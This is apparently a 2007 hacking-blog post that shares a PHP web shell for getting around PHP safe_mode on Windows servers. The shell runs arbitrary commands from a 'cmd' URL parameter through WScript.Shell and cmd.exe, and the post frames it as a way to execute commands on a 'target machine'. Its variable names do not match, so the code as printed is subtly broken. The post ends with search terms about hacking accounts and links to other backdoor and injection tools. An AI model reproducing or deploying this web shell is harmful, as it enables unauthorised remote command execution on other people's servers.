Lifedork

I’ve just found a nice thread on h4cky0u.org forum about bypassing safe-mode ON , on any WINDOWS OS by using php shell which will allow us to execute / inject any command on target machine. This video is presented in Arabic languange , but it’s very easy to understand.

The PHP SHELL code :

<?php
//PHP COM extensions (inconsistent Win32) safe_mode bypass

$____suntzu = new COM(”WScript.Shell”);
$____suntzu->Run(’c:\windows\system32\cmd.exe /c ‘.escapeshellarg($_GET[cmd]).’ > ‘.dirname($_SERVER[SCRIPT_FILENAME]).’/djekmani.txt’);
$____suntzoi=file(”suntzoi.txt”);
for ($i=0; $i<count($____djekmani); $i++) {echo nl2br(htmlentities($____djekmani[$i]));}

// *quote* from the php manual:
// There is no installation needed to use these functions; they are part of the PHP core.

// The windows version of PHP has built in support for this extension. You do not need to load any additional extension in order to use these functions.

// You are responsible for installing support for the various COM objects that you intend to use (such as MS Word);
// we don’t and can’t bundle all of those with PHP.
?>

See how it works.

VIDEO How to bypass SAFE-MODE on WINDOWS BOX using php shell is posted on November 12th, 2007 by admin. This post is filed under: Security, video|podcast, Hacking, Hacking Videos, how to, php shells, Security .

Some people come to this post with this search term: Safe Mode Shell , how to bypass safe mode, bypass safe mode, bypassing safe mode , bypass safemode password, bypass shell, bypass safe mode password, windows php shell, safe mode bypass shell, login.php code friendster hack, how to bypass safemode, bypass safe mode win, shell Safe Mode, "new php bypass", how to bypass video, hack friendster using code, djekmani +hacked, how to bypass windows safe mode, how to bypass the new facebook privacy, safe mode php hack,

And here is the related entries of this post:

• php-findsock-shell : another interesting web backdoor
• Zenmap - GUI Based Network Scanner
• XSS Warning - XSS Prevention Extension for Mozilla Firefox
• Grendel-Scan : A new Web Application Security Scanner from Defcon :)
• Pangolin - Best Sql Injection Tool